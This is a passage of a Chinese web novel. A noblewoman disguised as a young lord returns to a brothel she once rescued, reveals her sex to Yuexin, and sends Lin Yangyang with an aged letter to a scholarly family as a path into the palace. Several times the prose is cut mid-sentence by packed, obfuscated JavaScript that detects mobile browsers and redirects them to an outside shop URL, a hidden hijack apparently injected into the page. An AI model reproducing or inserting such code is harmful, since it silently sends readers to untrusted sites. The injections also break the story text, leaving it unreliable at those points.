有人被不知道哪里来的家里人找来,先在门口骂她坏了门风,骂完又把她领回去,嫁给一个年纪能做她父亲的鳏夫。有人撑不住,跟了一个做编织的男人,临走前偷偷哭,说至少往后有一口热饭。有人病了,怕花钱,拖着拖着便躺倒了。阿盲的眼睛也是那时坏得更厉害,大夫说要用好药,要连着针灸,药方开出来,桃枝拿在手里看了许久,问能不能把贵的药换掉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆云逸看着那只布包,没有动。 越心低着头,道:“我们知道少得可怜。公子当年花的钱,赁宅子的,办事的,给本钱的,都在里头。桃枝姐一直记着。她说若公子回来,看见这里又成了这个样子,心里定然不好受,总得先把钱还一点。” 陆云逸沉默许久,问:“她拿这些钱去看病了吗?” 越心摇头。 陆云逸伸手,把布包推回去。 “留着给阿盲治眼睛。若还有余钱,替桃枝添些香烛。” 越心抬起头,眼里带着惊疑。 “公子不怪我们?” 陆云逸看着她。 越心的脸色比三年前白了些,眼角有细细的纹,唇上胭脂早褪了一半。她这几年大概无数次想过陆云逸回来后的情形,想过他失望,想过他动怒,想过他转身便走。她们当年被救出来时,谁都以为往后会不一样。如今红灯重新挂起,桃枝成了桃枝妈妈,又死在这旧病里,越心自己也坐到了桃枝从前的位置上。 陆云逸道:“是我当年想得不周全。” 越心怔住。 “公子……” “我以为给你们一点钱,往后便能靠自己活下去。”陆云逸的声音很轻,茶盏里的水汽已经散了,她低头看着那一点冷茶,像在看三年前的自己,“这三年你们能撑到如今,已经不容易。” 越心看着她,眼眶慢慢红了。 她张了张口,想说许多话,最后只能愤慨道:“这世道能换一换就好了,要是能靠正经本事活下去,谁愿意把自己拿出去卖?。” 陆云逸抬眼看向窗外。 院中红纱被风吹起,露出那口缺了一角的井。井边有人小声说话,很快又停住。老槐树的影子斜斜落在地上,春末日光照得人眼发疼。 她没有立刻回答越心的话。 过了很久,她才把那杯冷茶放回桌上。 “是该换一换了。 55.薄夜低窗见真姿 陆云逸在春宜馆住下了几日。 她住的是东厢,窗子推开,正好能看见后院那口井。井沿缺了一角,还是三年前那副模样,旁边的青石板却被踩得更旧,凹进去一块,像许多人的脚印都在这里磨过。 天一亮,前堂的帘子便被卷上去,夜里摆出去的酒壶、果碟、骰盅一件件收回角落,地上溅出来的酒水用井里打上来的凉水冲一遍,脂粉气散掉一些,露出砖缝里原本的潮味。 后院有人蹲着择菜,青菜上的泥落了一地,有人把前夜换下来的衣裳丢进木盆,一面浆洗,一面同隔壁拌嘴。西边小屋躺着个发热的小姑娘,额上压着湿帕子,药炉在门口咕嘟咕嘟冒热气。 阿盲摸着墙去收衣,才摸到井边,便同阿月为了一个铜盆吵起来。阿月说盆是她先拿出来的,阿盲偏说自己先摸着了,越心提着一袋米进门,远远听见,立刻骂她们两个没出息,说一只破盆也值当吵成这样,有这份精神,不如替她把米扛去灶间,省得她胳膊都要掉下来。 她嘴上这样说,走过去时,还是顺手把铜盆往阿盲手边推了推。 白日里的春宜馆,看着同寻常旧院子差不了太多。院里一样有人为米盐发愁,一样有人蹲在井边洗衣、择菜、煎药、骂街,若把那两盏夜里才点的红灯摘得远些,把门边那块写着“春宜馆”的牌子一并遮起来,乍一眼望过去,像哪条巷子里挤挤挨挨住着几户寡妇孤女,日子窄,火气却活。 陆云逸坐在东厢窗下,看着这些零碎光景,心里总有一种说不清的滞涩。三年前的她还太过稚嫩,有些事只能看到表面。 她住下的第二日,便先见着了林鸯鸯。 那时还是白日,院中日光正盛。阿盲的药刚抓回来,纸包上写着几味药名,阿月拿在手里只认识头一个字,正站在灶间门口发愁。有人从后头走来,伸手把药包接过去,低头扫了一眼,便将几包药分开了,一包放在阿盲手边,一包交给灶上熬着药的小丫头,声音轻轻的,说这包是退热的,先煎,另一包要等饭后,火也不能太急。 陆云逸抬眼时,先看见的是那只手。 那手生得好,手指细长,指甲修得干净,这样一双手里拿着的似乎不该是药包,而是团扇、诗册、或者上好的薄胎茶盏。 她顺着那只手往上看,才看见那女子的脸。 那确是一张叫人过目难忘的脸。 眉目生得柔,眼尾微微向下,身上穿的是最普通的青布衣裳,衣襟洗得发白,发上只簪一根木钗,脸上没有半点脂粉,偏偏越是这样,越显得容色出挑。那样的出挑落在这座院子里,几乎像一块无端落进污水里的白玉,叫人一看,便明白桃枝当年为何会把她捡回来。 越心从灶间探出头,一见她便笑骂:“你再慢些,阿盲这药都能放凉了。药铺那老头是不是又同你闲扯了?” 那女子把药递出去,抬眼看她,语气温温的,“阿月在路上挑萝卜,挑得认真,我也不好催。” 阿月立刻叫起来,说自己不过多问了两句价。越心一面笑,一面朝陆云逸那边抬抬下巴,“公子,这是林鸯鸯。去年桃枝带回来的人。” 那女子这才转过身,朝陆云逸行礼,动作平整,“见过公子,您就是之前桃枝姐常说的人吧?” 陆云逸看着她,“你识字?” “认得一些。” 越心在一旁接话:“她原先不在咱们这边,是别处散出来的。那边的妈妈卷了钱跑了,楼里人七零八落,鸯鸯叫人转手卖了一回,半道上寻了个空子逃出来,逃到河边,饿得站都站不住,被桃枝姐看见,把人带了回来。桃枝姐当时还说,带回来也未必养得活,这种长相,活在外头总招祸。后来养着养着,才晓得她脑子也灵光得很。还识不少字,我们几个也跟着学了不少。” 林鸯鸯听了,只低头去替阿盲理药,并不回嘴。越心见她这副样子,又补一句:“你别瞧她安静,其实聪明的很。” 陆云逸坐在檐下听着,看着这两个性情全不相同的女子站在一处。越心是明亮的,火气、笑意、疲色都挂在脸上,林鸯鸯却像隔着一层薄水,情绪不外露,处事总带着分寸。这样的两个人,说话时并无隔阂,像已经这样来回顶了许久,连互相拆台都拆出了些亲近。 到了晚上,整座院子便换了副面孔。 灯一盏盏点起来,前堂被照得发红。白日里晾在后头的衣裳收了,胭脂盒打开,钗环重新上头,阿月方才还蹲在井边洗菜,入夜便坐到帘子边去,小铃白日里给发热的小姑娘擦汗,夜里也要把领口整理齐整,跟在越心后头给客人添酒。阿盲眼睛坏得厉害,白日里只能摸着墙晒衣,晚上却一样要被人扶去门边坐着,她看不清谁是谁,只能循着声音答话。越心白日里算米价,记药钱,同房东磨租银,夜里脸上扑了粉,眉梢一弯,便又成了那个在灯下劝酒、说笑、替人递台阶的越心。 她们白日里活得像人,夜里便要重新坐回货架上。白日里手里拿的是菜刀、木盆、药包,夜里手里拿的是酒壶、团扇、帕子。白日里她们会为了米少了两升,药贵了十文,在院里骂出一串火星子,到了夜里,谁来都要先笑,笑得不够软,笑得不够甜,价钱都可能往下掉。 连着几日,都是如此。 那夜收得晚。 最后一个客人走时,月亮已经挂上屋檐,院里只剩几盏小灯,光色黄得发旧。 越心带着一身酒气进了东厢,往椅子上一坐,自己给自己倒了半碗凉茶,又给陆云逸倒了一碗。茶是夜里剩下的,早已不温,入口带一点淡淡的苦。越心喝了一口,说这东西醒酒,喝着像药,难怪客人都嫌弃。 “公子。” 越心靠在椅背上,脸上的粉已经掉了大半,露出底下疲乏的肤色。她这些日子夜里陪酒,白日里还要操持院里的杂事,眼下隐隐带着青色,却还是习惯性地先笑了一下。 “你在这儿住了好几天了。” 她拿手指轻轻敲着茶碗边沿。 “怎么样?” 陆云逸沉默片刻,道:“不好。” 越心反倒笑了。 “我就知道。” 她低头看着碗里的茶水,声音轻了些。 “桃枝姐活着的时候,总觉得再熬熬就好了。熬过这一阵,兴许就能找到别的活路。后来熬着熬着,人没了,别的活路也没瞧见。我们这些人有时候也说,明年会不会好一点,后年会不会好一点。可说归说,心里其实都明白。” 她抬起头。 “所以我一直想问你。” “问什么?” “你回来以后,到底想做什么?” 越心说这话时,神情难得认真。 “若只是回来看看,给我们留点银子,那倒简单。你当年已经帮过我们一次了,没人能说你什么。” 她顿了顿。 “可我瞧着不像。” 陆云逸看着她,没有回答。 屋里安静下来。 窗外最后一点收拾桌椅的声音也渐渐远了。 “所以我好奇。” “你到底想做什么?” 陆云逸垂下眼。 她其实也说不清。 陆云逸沉默许久,才道:“我还没想明白。” 越心怔了一下。 “没想明白?” “嗯。我知道从前那样不够。给你们赎身不够,租院子不够,换良籍也不够。可什么才够,我也没想明白。” “我还以为你们这些贵人,做什么事都胸有成竹。” 陆云逸道:“我不是神仙。” “那倒也是。” 越心点点头。 “神仙也未必会管这种事。” 窗外夜色越来越深,院中的灯火也暗下去许多。 越心望着那一点昏黄灯光,说道:“要是我是男人就好了。” 她说完自己先端起茶碗喝了半口,随后又弯了弯嘴角,“可我要真成了男人,说不定比他们还坏。人得了方便,心肠就容易往歪里长。到时候我没准也坐在前堂里挑人,嫌这个不够俊,嫌那个笑得僵,日子一长,还要觉着自己花了银子,天大的理都该在自己这边。” 陆云逸坐在她对面,眼神落在她手边那只粗瓷碗上。 越心也没等她接话,肩膀往后一靠,慢慢把自己这一夜攒下来的酒气和疲意一并吐出来,“可人总得发两句疯,不然这口气压在心里,迟早憋死。说到底,男人总归比女人强。扛包也好,摆摊也好,码头卖力气也好,真穷到只剩一身骨头,出门总还能挣口饭。女人就难。你想靠手吃饭,旁人说你抛头露面,不安分。你想找个男人嫁了,还得受夫家婆家的气,嫁的男人不中用,第一个就把女人卖了。” 她说完,隔了很久,才轻轻叹了一口气,“这世道要是能换换就好了。” 越心低头看着碗中的凉茶,半晌又笑了一下,“公子,我今晚喝多了。这话我说出来,也就是撒酒疯。我这样的女人,还是窑子里的女人,能把眼前这点日子活过去,已经算有本事了。真要换天换地,轮不到我。公子这样的人,兴许还能试试。” 陆云逸抬眼看她。 越心指尖在碗沿上轻轻转了两下:“公子,别这么看我。我们终究是不一样的。我只是经常瞎想。要是哪天那些有钱有势的,别总把人踩在脚底下;穷人也不至于为了几口饭,把老婆孩子都卖出去” 那盏灯烧得不旺,火苗偶尔一晃,便把两个人的影子一并摇动。陆云逸沉默了很长一阵,长到越心以为自己酒意上头,说得太远了,刚想扯开话头,陆云逸才慢慢开口,声音很低。 “你说得很好。” 越心一怔。 陆云逸看着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601580|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,过了片刻,才缓缓道:“若真有那样一天,不论出身高低,不论贫富贵贱,人人都能堂堂正正活着,谁也不必依附谁才能过日子。” 她说得很慢,像是在顺着越心方才那些零零碎碎的话,一点一点把它们理出来。 越心的手停在碗边,半晌没动。屋里那点昏黄灯火落在陆云逸脸上,把她眉眼间那种长久压着的东西都照出来一些。越心忽然觉得,这位公子果然同她认识的那些公子很不一样。那些人偶尔也会说两句怜贫惜弱的漂亮话,话一落地,转头仍去喝酒、听曲、娶妻纳妾,仿佛天下人的苦只是他们席间一道调味。 “可再怎么说,我们还是不一样的。” “有什么不一样?” “什么?” “你总说我同你们不一样。”陆云逸看着她,“哪里不一样。” 越心被问的愣了愣,随即失笑,“这还用问?” “你生下来就是贵公子,天天有人伺候着,公子你现在看着是落魄了,但你是男人,总有翻身的机会。我们生下来就是穷人家的女儿,生下来就要伺候家里人,等长大了就被卖掉继续伺候别人。我们哪里都不一样。” 屋里已经彻底安静下来,阿月她们大约都睡了,院中只剩风吹过老魁树时一点极轻的沙沙声,陆云逸坐在那里许久没有出声。越心见她沉默,心中反倒生出一点说不出的烦闷,她想把这话揭过去,便听见陆云逸缓缓开口。 “出身就要决定一切吗?” “那不然呢?” 陆云逸站起身,把门闩重新落实,又把窗子掩得更严了一些。 做完这些,她先是低头,像在想一件很重要的事,想了许久,才抬起手,把外袍解开。 “你要做什么?”越心吃惊道。 陆云逸没有回答。外袍落下后,是更贴身的一层衣裳。陆云逸平日穿着宽袍,看着只是比寻常男人清瘦些。直到此刻,越心才发现她的身形与自己想象中全然不同。肩背宽阔,腰腹紧实,手臂和胸腹都带着常年习武留下的力量感。 陆云逸又沉默片刻,将束身的衣料解开。 越心先还没明白她要做什么,只怔怔看着。待目光落下去,才终于意识到不对。她坐在那里,半点都没动。她看着陆云逸,看着她站在灯下把衣裳重新拢回去,动作有些笨拙。 “瞧见了吗?我们没有什么不同。”陆云逸把衣襟系好,声音很轻。 越心脸上的神情先是空了,她看着陆云逸,目光从她脸上落到她身上,又从身上落回脸上,来回了两遍,像怎么都对不齐。过了片刻,她猛地吸了一口气,身子往前一倾,压着嗓子开口。 “你疯了?” 陆云逸抬眼看她。 越心的声音压得更低,低里又带一点火气。 “这种事你也敢给我看?” 她说这话时,人已经站了起来,在屋里走了两步,又停住。她像一下子坐不住了,手在袖边攥了又松,松了又攥,末了抬手按了按自己额角,像是酒气和方才那一下冲得她头都发胀。 “不然怎么证明给你看?” 越心缓了好一会儿,才重新把那口气理顺。她不再看陆云逸身上,只看她的脸,声音也慢慢沉下去。 “怪不得…” 越心站在那里,声音低下去,像许多原先对不上的地方,忽然一下全对上了。 陆云逸道:“你方才说得对。人活在这世上,原本没有那么多该分高低的道理。有人生来站得高些,有人一落地便掉进泥里,多半也不是他们自己挑的。男人、女人,贵人、贱民,说到底,都是一样的血肉,一样会疼,一样会饿,一样都想活得像个人。” 越心看着陆云逸,有点想哭,张嘴想说点什么,又摇摇头:“我说得对又如何?我终究没法改变这个世道。” “想改变这样的世道,光靠在屋里叹气没有用。光靠一个人,也没有用。” 越心向来嘴快,少有在舌尖前打转这么久的时候,可这一刻,她是真的不知所措了,她低头看了看桌上那只凉透的茶碗,又抬头去看陆云逸。 “公子,不,我不知道该叫你什么了。但你似乎已经有办法了。” 越心在屋里踌躇片刻,终于下定决心似的说道:“你回来这里一定是想找人帮你完成你的办法吧。无论是出于我自己的希望,还是出于我想报答你当年赎我们出来的恩情,你想要我做什么,我一定帮你。” “明日开始先不必开门接客了,我需要你做的事,等我筹划几日。” “好。”越心应了一声。 声音很轻,分量却不轻。 屋里的灯仍旧旧的,茶仍旧凉的,窗外的夜也没有半分改变,但越心的心里却忽然生出一种古怪的感觉,像许多年都只能压在胸口发闷的话,到了这一夜,总算找着了一个能落地的地方。 56.纤手愿教世路移 第二日起,春宜馆夜里没再开门。 阿月起初还当只是歇一夜,到了傍晚,见越心叫人把前堂的灯笼收回去,门也早早闩上,才愣在廊下,手里还拿着一半没擦完的脂粉盒。小铃把簪子插到一半,又拔下来,问今夜当真不见客了? 越心只说先停几日。 院里女人听了,互相看了两眼,也没人追着往下问。 她们心里都晓得,住东厢的公子是从前把桃枝从泥里拉出来的人。 那样的人,既回来了,又让越心把门关上,总归不会是为了害她们。人活到这一步,许多事不必问得太明白,先看一看风往哪头吹,往往比急着张口更有用。何况院里这些女人,这几年什么变故没见过,夜里忽然不接客,心里自然犯嘀咕,面上却都按着,白日里该做什么,还做什么。 只是一到天擦黑,大家多少都有些坐不住。 阿盲白日里摸着墙晒衣裳,到了傍晚,仍会下意识往前堂那边偏一偏头,像听一听门外有没有脚步声。阿月把洗净的帕子叠好,又拆开重叠一遍。小铃坐在门槛上磨剪子,磨得火星子都快出来。前堂空着,帘子卷着,桌上还有前几日留下来的酒渍,没了客人,那地方竟显出几分久违的冷清,叫人一时看不惯。 越心这两日话比平常少些,事情却没少做。她白日里照样催人熬药、分米、洗衣,夜里门一关,便亲自挨个屋子看过去,谁身上有旧伤,谁欠着药,谁这几日气色不好,她都记着。陆云逸住在东厢,也不多说什么,只在院里来回走,看阿盲摸着绳子收衣,看阿月蹲在井边搓帕子,看小铃给那发热的小姑娘喂药。 林鸯鸯便是在这时候,跟着越心来找她的。 那日午后,日头偏西,院里没什么风。陆云逸坐在东厢窗下,面前放着一碗没动过的凉茶。越心先一步进门,进来便笑,说鸯鸯偏要来找公子,说有几句话想同公子说。 林鸯鸯跟着走进来,朝陆云逸规规矩矩行了一礼。 她今日穿的是件月白旧衫,发上仍只一根木钗,脸上没施脂粉,站在那里,却仍有一种很难压下去的清贵气。 陆云逸请她们坐。 越心坐下时先去拿桌上的凉茶,尝了一口便皱眉,说这茶还是这么苦。林鸯鸯却像没听见似的,只平平整整坐在一旁,两只手叠在膝上,腰背细直,连抬眼都带一点柔顺的分寸。 她先开了口。 “这几日鸯鸯看着公子,心里其实想岔过一回。” 越心立刻偏头看她,笑了一声,“你倒真敢说。” 林鸯鸯没有接她这句,只朝陆云逸轻轻垂了一下眼。 “桃枝姐从前提起公子,总说是一位贵人。我原以为贵人总该衣饰华丽,走到哪里都一眼能叫人认出来。公子那日进门时,衣衫朴素,头上也只一根木簪,乍看并不扎眼,我心里便想着,桃枝姐怕是把人说重了些。” 越心端着茶碗,在旁边低低“啧”了一声。 林鸯鸯还是那副不急不缓的口气。 “可这几日看下来,我才知道是自己眼浅。衣衫能换,举止换不了。真正高门里养出来的人,许多东西落在身上,不消金玉点缀,也还是看得出。公子落座时先看旁人坐没坐,听人说话不抢,问话时给人留余地,便连端茶这样的小事,也同寻常人不一样。我从前在楼里见过许多贵客,有些人珠玉满身,张口闭口却都透着粗气;有些人穿得平常,抬一抬眼,便叫人不敢轻慢。公子显然是后者。” 屋里安静了一瞬。 越心把茶碗搁下,瞥她一眼,“你这几日盯人倒是盯得仔细。” 林鸯鸯看了一眼越心,没有回复。 她重新转向陆云逸,神情也更郑重了些。 “桃枝姐受过公子的恩,才有后来这座院子。她把我从外头带回来,我才活到今日。这样算下来,公子也算是鸯鸯的恩人。” 她说到这里,停了停,像是在斟酌后头那几句话该怎么落下来。 “鸯鸯读书不多,杂书却看过几页。古时有貂蝉,借一身颜色,离间董吕,替门下报恩。青楼女子手里能拿出来的东西,原也不多,无非一张脸,一张嘴,还有一点揣摩人心的本事。” 越心听见这里,懵懵地问道:“貂蝉是谁?” 林鸯鸯轻声解释了一句:“三国时期的人物,据说用美色周旋了董卓与吕布之间,离间二人,后来世人常拿她说美人计。” 越心似乎还想问董卓和吕布又是谁,但忍住没再问。 林鸯鸯神色平静地把话往下说完。 “这几日院里夜里不再开门,旁人嘴上不问,心里总归都在猜。越心姐也同我说过几句,说公子这回回来,怕不只是念旧。她还说,这世道若总这样下去,人便活得没个尽头,若有人真想动一动它,倒也未必全是疯话。” 越心坐在一旁,原本端着茶碗,听见这句,眉头轻轻动了动,却没有打断。 “公子此番回来,眼里装的不是旧情。你在看这院子,也在看院里的人。你看阿盲白日如何晒衣,夜里又如何坐到门边;看越心姐白日算米价,夜里又如何替客人斟酒。鸯鸯瞧着,公子心里必然有事,且不是小事。” 她抬起眼,望向陆云逸。 “若公子有所求,鸯鸯愿意相帮。若要送我去某处,叫我见某个人,听话也好,套话也好,离间也好,只要用得上,鸯鸯都肯。” 越心先看看林鸯鸯,又看看陆云逸,像是想说什么,到了嘴边,又先压了回去。 “我从前待过的地方,来的多是有钱有闲的公子、官人,他们酒一喝下去,嘴上便没什么门。谁家后宅不和,谁家父子反目,谁同谁明里交好、暗里生嫌,我都听过一些。若公子要我去见谁,要我替谁传话,要我从谁那里听东西,只要用得着,鸯鸯都肯。” 越心皱起眉头,像是想骂她,又觉得这话当着陆云逸的面骂出来不妥,嘴唇动了动,半晌才低声道:“你说得怪瘆人的。” 林鸯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆云逸抬起眼,望着陆云逸,轻声道:“公子若问我怕不怕,我自然怕。人活着,哪有不怕的。可怕归怕,总得想想这条命放在手里,到底能做什么。我从前在那种地方长大,见过太多人。有人拿千金来买一夜风月,有人喝了酒,嘴上说的是怜香惜玉,眼里想的却是怎么算计旁人。也有人坐在席间,一面笑,一面就把谁家的女儿、谁家的小妾、谁家的家业拿来论价。那时候我便知道,我们这些人落在他们眼里,多半只是个玩意儿,偶尔也像个物件,用得顺手了便留着,用得不顺手了便丢开。” 她说到这里,声音更轻了一些。 “公子今日若只是回来看看,我也不会说这些。可公子既然不是为这个来的,我便也不想装糊涂。桃枝姐救过我,我欠她一条命。公子救过桃枝姐,我也欠公子一份情。如今若真有一件事,能叫这世上的人往后少走几步错路,少掉进几个坑里,那鸯鸯也愿意往前走一回。” 过了许久,陆云逸轻轻叹了一口气。 “行。” 越心和林鸯鸯都抬头看向她。 陆云逸垂下眼,指尖在桌沿上轻轻按了一下,声音仍旧不高。 “你的话,我听见了。你的心,我也知道了。只是这件事不能凭一时起意,牵扯众多,我得想清楚。” 林鸯鸯静静听着,随后垂眼应道:“是。” 越心在一旁听得心里发紧,忍不住问了一句:“那我们呢?就这么等着?” 陆云逸抬起眼,看向她。 “急不得。” 57.远道陈书入旧闱 春宜馆关门后的没几日,陆云逸把计划定了下来。 那日午后天阴,院里没有风,前堂半卷着帘子,光从门外斜斜照进来,落在地上时,灰里都带一点潮气。阿盲坐在廊下理线,阿月在井边洗菜,小铃替那发热的小姑娘换了帕子,又把药炉里的火挑旺些。院子里还是白日那副模样,窄,旧,挤,女人们各自忙着各自的事,嘴上吵两句,手里却没停,像这样过下去,便真能把曾经夜里那些灯和酒气都忘了。 陆云逸把越心和林鸯鸯叫进了东厢。 门关上后,屋里便只剩三个人。桌上摆着一封新写好的信,纸张已经熏过淡茶,边角微黄,折痕也做旧了,放在那里,瞧着像真在袖中压了一年多。林鸯鸯进门时先看见那封信,眼神微微一动,却没有先问。越心却一眼便认出来,那是要拿去外头用的东西,便把门掩得更实些,回头看陆云逸。 陆云逸坐在灯下,抬眼看她们,先说了一句:“有件事,我今日得同你们说清。” “我姓陆,名云逸,是明亲王府世子。” 越心先是怔住,随后眉尖轻轻一挑,她心里早已猜到陆云逸身份不低,只没想到会高到这个地步。 林鸯鸯却坐得更直了些,脸上那点一直维持的平静也有了波澜,眼神落在陆云逸脸上,过了一会儿,才轻声道:“原来如此。” 陆云逸没有多解释,只把那封信往前推了推。 “历下朱家,是我母族。” 林鸯鸯的目光落到信上,片刻后又抬起来,“公子今日连姓名和来路都告诉了我们,就不怕我们把这些话说出去?” 陆云逸神情平平。 “不怕。” “为何?” “因为没人会信。”陆云逸道。 越心没忍住哼了一声。 林鸯鸯低头看着那封信,陆云逸把信打开,递给她看。信写得不长,只说这女子是一年多前在外头所救,身世可怜,无处可去,求朱家念在旧情上容留一二。字是陆云逸亲笔,纸也做旧了,连墨色都压得暗些,乍一看,真像是一年前就写下来的旧信。 “我要送鸯鸯去历下。”陆云逸道,“你带着这封信,到朱家门前投奔。就说你一年多前在外头无路可走,蒙我搭救,我曾同你说过,若日后再遇绝路,便去历下找朱家。信是我写的,字也是我的。只要信到了,朱家不会把你推出门。” 林鸯鸯看着桌上的信,没有立时去接。 “我们何时出发。” “明日。” “这么快吗?”越心惊讶道。 越心看了林鸯鸯一眼,想说一句路上小心,话到了嘴边,又先压了回去。林鸯鸯却比她平静得多,坐在那里,眼里只有一点很浅的波动。 次日一早,陆云逸便带着林鸯鸯离了广陵。 没有惊动院里太多人。越心一早起来,只把她们送到巷口。阿盲坐在门边,听见脚步声,问是谁要出门。越心便说去抓药,省得她心里挂着。阿盲哦了一声,也没再问。春宜馆的门还关着,门上的旧漆被晨雾润了一层,老槐树的影子斜斜压在门边。 越心站在巷口,把一个小包袱递给林鸯鸯,里头是两身干净衣裳,一小包碎银,还有一支桃枝从前用过的旧簪。 “衣裳你路上换。”她说,“银子藏好,别叫人瞧见。簪子你想带便带,不想带也别扔。” 林鸯鸯伸手接过,眼神在那支簪子上停了停,随后轻轻点头。 越心又转头去看陆云逸。她本有许多话想嘱咐,话到了嘴边,却只挤出来一句:“你这一路别太招摇。” 陆云逸看她一眼,眼里有一点很淡的笑。 “我哪一回招摇过。” 越心哼了一声,“少同我装。” 广陵的晨雾还没有散开,巷口的青石路泛着潮,远处卖炊饼的正推车经过,蒸气混着车轮声,一点一点往前飘。越心看着她们离去,手还揣在袖子里,站了许久都没动,直到两人的身影彻底看不见了,她才慢慢往回走。 这一趟去历下,白日里赶路,夜里便寻荒庙、破祠堂,或者远远离官道的旧棚歇一歇。陆云逸带着火折子和干粮,偶尔碰上集镇,便在天还亮着的时候买一点热汤和炊饼,随后立刻离开,不往热闹处久留。林鸯鸯起先还以为她会进客栈,待走了第一夜,才明白陆云逸从头到尾便没有这个打算。 她没有问,第二夜也没问,直到第三日傍晚,两人避在一处废弃土地庙里,陆云逸在庙外洗净了手,回来把刚买来的热粥递给她,林鸯鸯才抬头看了她一眼,轻声道:“公子一直不进客栈,是怕查身份文书么?” 陆云逸坐在一旁,手里还拿着半块冷硬的炊饼,听见这句,淡淡抬眼。 “你看出来了?” “公子做事太细。”林鸯鸯垂下眼,“一回两回可以说是谨慎,回回都不进,便不只是谨慎了。” 陆云逸没再往下解释,只道:“少留痕迹,总不是坏事。” 林鸯鸯便也不再问。她向来识趣,只是在庙里过夜时,她看见陆云逸靠着那根掉了漆的旧柱子浅浅阖眼,火光落在她脸上,把她眉眼照得格外清楚,心里忽然生出一点说不清的感觉。眼前这个人分明出身显贵,却非要反抗她出身的地方。 到了历下城外,天色已近黄昏。 朱家在历下有名,宅子并不在最热闹的街上,往里再走一程,过一座石桥,再穿一条种满老槐树的长巷,便能看见白墙黛瓦和门前那对被岁月磨圆了棱角的石兽。 陆云逸在离朱家还隔两条巷子的地方停了下来。 那是一处背着风的小街,街边有卖香烛纸钱的小铺,门口挂着褪色的幌子。 她跟着陆云逸停下后问道:“公子不继续走了吗?” 陆云逸摇头。 “我送你到这里,已经够了,前面再走一截便是朱家。后头的路,你自己走。” “为何?” “不方便。” 陆云逸只答了这一句,便没再往下说,林鸯鸯听了,心里便也猜出一些缘故。她没有追着问,只把袖中的信摸了一遍,低声道:“公子若再不细说,这封信倒像替我找了一条好人家,不像是什么计划。” 陆云逸看着那条巷子,隔了片刻才开口道:“历下朱家,是正经的书香门第。两年后有一场选秀,朱家的姑娘是一定要去的。你进了朱家,先把规矩学会,等待选秀时入选。” 风从巷口吹过,把林鸯鸯鬓边一缕散发吹得轻轻晃了一下。她看着陆云逸,过了许久,才慢慢反应过来陆云逸这番话里的意思。 “公子是要我……”她停了停,才把后半句说出来,“入宫?” 陆云逸没有立刻答,只看着她。 “能不能走到那一步,先要看你自己。” “若走到了呢?” “再过几年我便回京,到时我会用我的婚事娶越心进门,需要你在京内帮助一二。再往后的事,等能到往后我再告诉你。” 林鸯鸯望着她,眼里那点方才还浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607240|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的迟疑,慢慢沉了下去。她是个聪明人,她在那一刻生出一种从未有过的清醒,许多零碎念头忽然一下都拢到了一处。 “我明白了。” “去吧。” 林鸯鸯却没有立刻转身。 她站在那里,朝陆云逸看了片刻,忽然又问了一句:“公子把我送到这里,朱家若收下我,往后我该顶什么身份活着?” 陆云逸道:“朱家会给你。” “那公子呢?公子往后还会来见我么?” 陆云逸听见这句,眼神微微一顿,随后才道:“等你入宫。” 林鸯鸯便没有再问。 她朝陆云逸行了一礼,那礼比从前任何一次都更郑重。行完礼后,她把那封旧信压进袖中,转身沿着巷子往前走。 陆云逸站在角落里看着,直到她的身影快到巷子尽头,朱家门前的婆子瞧见她,把人拦下问话,她才把视线收回来。 朱家门前问得果然不算细。 看门婆子见她一身素净,又拿着封旧信,只当是外头来投旧情的穷亲。待林鸯鸯说出“陆公子”三个字,婆子脸色才变了变,接过信便往里头去报。过了没多久,朱家便出来一位上了年纪的嬷嬷,把林鸯鸯领了进去。 林鸯鸯跟着那嬷嬷进了二门,步子一直没乱。 朱家老太太那时正坐在内堂里。她这些年老得更多了些,鬓边头发已全白,手边放着一只暖炉,看见那封信时,眼里先有一点惊,随后才慢慢平下来。她把信从头看到尾,看完后搁在膝上,抬头看了看林鸯鸯。 林鸯鸯站在堂中,双手垂着,低着眼,把路上想好的话一句一句说出来。她说自己一年多前走投无路,蒙陆公子搭救,陆公子曾留过一句话,说若哪日实在无处可去,便来历下投朱家。她也说自己眼下确是没有法子了,才壮着胆子上门。 她说得不多,正如陆云逸叮嘱的那样。朱家老太太听完,沉默了许久,才把那封信重新折起来,搁到身边小几上。 “云逸这孩子…” 她说这话时,声音已经有些老了,神情里却没有责怪。说完之后,她看向林鸯鸯,目光也更柔和了些。 “你既拿着他的信来,便先住下。” 林鸯鸯低头,应了一声是。 老太太又看了她一会儿,问她姓什么,家里原先还有什么人。林鸯鸯一一答了。老太太听完,轻轻叹了口气。 “珍珍从前有个表妹,年纪小她几岁,你便先挂在那一房上,说是她的孙女。这样行走起来,也方便。” 这句话一落,便是给了她一个身份。 